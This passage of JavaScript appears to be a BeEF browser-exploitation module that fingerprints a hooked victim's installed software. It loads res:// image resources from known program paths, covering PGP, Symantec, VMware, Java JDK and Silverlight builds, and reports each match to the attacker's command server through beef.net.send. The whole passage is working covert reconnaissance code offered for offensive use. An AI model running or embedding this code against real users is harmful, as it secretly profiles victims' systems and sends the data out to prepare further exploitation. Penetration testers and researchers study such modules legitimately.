    ['PGP Desktop', 'PGP Corporation\\PGP Desktop\\PGPdesk.exe/#2/#600'],
    ['Google Toolbar', 'Google\\googleToolbar1.dll/#2/#120'],
    ['Flash MX 2004', 'Macromedia\\Flash MX 2004\\flash.exe/#2/#4395'],
    ['MSN Messenger', 'Messenger\\msmsgs.exe/#2/#607'],
    ['Microsoft Live Meeting 7', 'Microsoft Office\\live meeting 7\\console\\7.5.2302.14\\pwresources_zh_tt.dll/#2/#9006'],
    ['Microsoft Excel 2003', 'Microsoft Office\\Office11\\excel.exe/#34/#904'],
    ['Microsoft Office 2003', 'Microsoft Office\\Office11\\1033\\MSOhelp.exe/#2/201'],
    ['Microsoft Visual Studio 8', 'Microsoft Visual Studio 8\\common7\\ide\\devenv.exe/#2/#6606'],
    ['Microsoft Movie Maker', 'Movie Maker\\moviemk.exe/RT_JPG/sample1'],
    ['Picasa2', 'picasa2\\picasa2.exe/#2/#138'],
    ['Quicktime', 'quicktime\\quicktimeplayer.exe/#2/#403'],
    ['Real VNC4', 'RealVNC\\VNC4\\vncviewer.exe/#2/#120'],
    ['OLE View', 'Resource Kit\\oleview.exe/#2/#2'],
    ['Secure CRT', 'SecureCRT\\SecureCRT.exe/#2/#224'],
    ['Symantec Antivirus', 'symantec_client_security\\symantec antivirus\\vpc32.exe/#2/#157'],
    ['Ultramon', 'ultramon\\ultramondesktop.exe/#2/#108'],
    ['VMware Workstation', 'vmware\\vmware workstation\\vmware.exe/#2/#508'],
    ['Winamp', 'winamp\\winamp.exe/#2/#109'],
    ['Windows Media Player', 'Windows Media Player\\wmsetsdk.exe/#2/#249']
  ];

  beef.debug("[Detect Software] Enumerating installed software...");
  for (var dir=0;dir<program_dirs.length; dir++) {
    for (var i=0; i<software.length; i++) {
      var img    = new Image;
      img.title  = software[i][0];
      img.src    = "res://" + drive + ":\\" + program_dirs[dir] + "\\" + software[i][1];
      img.onload = function() { beef.net.send("<%= @command_url %>", <%= @command_id %>, "installed_software=" + this.title); dom.removeChild(this); }
      img.onerror= function() { dom.removeChild(this); }
      dom.appendChild(img);
    }
  }

  // Enumerate Java JDK installs
  beef.debug("[Detect Software] Enumerating JDK installs...");
  var java_versions = ['1.8.0', '1.7.0', '1.6.0'];
  for (var dir=0;dir<program_dirs.length; dir++) {
    for (var v=0; v<java_versions.length; v++) {
      for (var patch_level=0; patch_level<100; patch_level++) {
        var pad = '';
        if (patch_level < 10) pad = '0';
        var img    = new Image;
        img.title  = "Java JDK" + java_versions[v] + "_" + pad + patch_level;
        img.src    = "res://" + drive + ":\\" + program_dirs[dir] + "\\Java\\jdk" + java_versions[v] + "_" + pad + patch_level + "\\jre\\bin\\awt.dll/2/CHECK_BITMAP";
        img.onload = function() { beef.net.send("<%= @command_url %>", <%= @command_id %>, "installed_software=" + this.title); dom.removeChild(this); }
        img.onerror= function() { dom.removeChild(this); }
        dom.appendChild(img);
      }
    }
  }

  // Enumerate Silverlight installs
  beef.debug("[Detect Software] Enumerating Silverlight installs...");
  var silverlight_versions = [
    '5.1.50901.0',
    '5.1.50709.0',
    '5.1.50428.0',
    '5.1.41212.0',
    '5.1.41105.0',
    '5.1.40728.0',
    '5.1.40416.0',
    '5.1.31211.0',
    '5.1.30514.0',
    '5.1.30214.0',
    '5.1.20913.0',
    '5.1.20513.0',
    '5.1.20125.0',
    '5.1.10411.0',
    '5.0.61118.0',
    '5.0.60818.0',
    '5.0.60401.0',
    '4.1.10329.0',
    '4.1.10111.0',
    '4.0.60831.0',
    '4.0.60531.0',
    '4.0.60310.0',
    '4.0.60129.0',
    '4.0.51204.0',
    '4.0.50917.0',
    '4.0.50826.0',
    '4.0.50524.00',
    '4.0.50401.00',
    '3.0.50611.0',
    '3.0.50106.00',
    '3.0.40818.00',
    '3.0.40723.00',
    '3.0.40624.00',
    '2.0.40115.00',
    '2.0.31005.00',
    '1.0.30715.00',
    '1.0.30401.00',
    '1.0.30109.00',
    '1.0.21115.00',
    '1.0.20816.00'
  ];

  for (var dir=0;dir<program_dirs.length; dir++) {
    for (var i=0; i<silverlight_versions.length; i++) {
      var img    = new Image;
      img.title  = silverlight_versions[i];
      img.src    = "res://" + drive + ":\\" + program_dirs[dir] + "\\Microsoft Silverlight\\" + silverlight_versions[i] + "\\npctrl.dll/2/102";
      img.onload = function() { beef.net.send("<%= @command_url %>", <%= @command_id %>, "installed_software=Microsoft Silverlight v" + this.title); dom.removeChild(this); }
      img.onerror= function() { dom.removeChild(this); }
      dom.appendChild(img);
    }
  }
});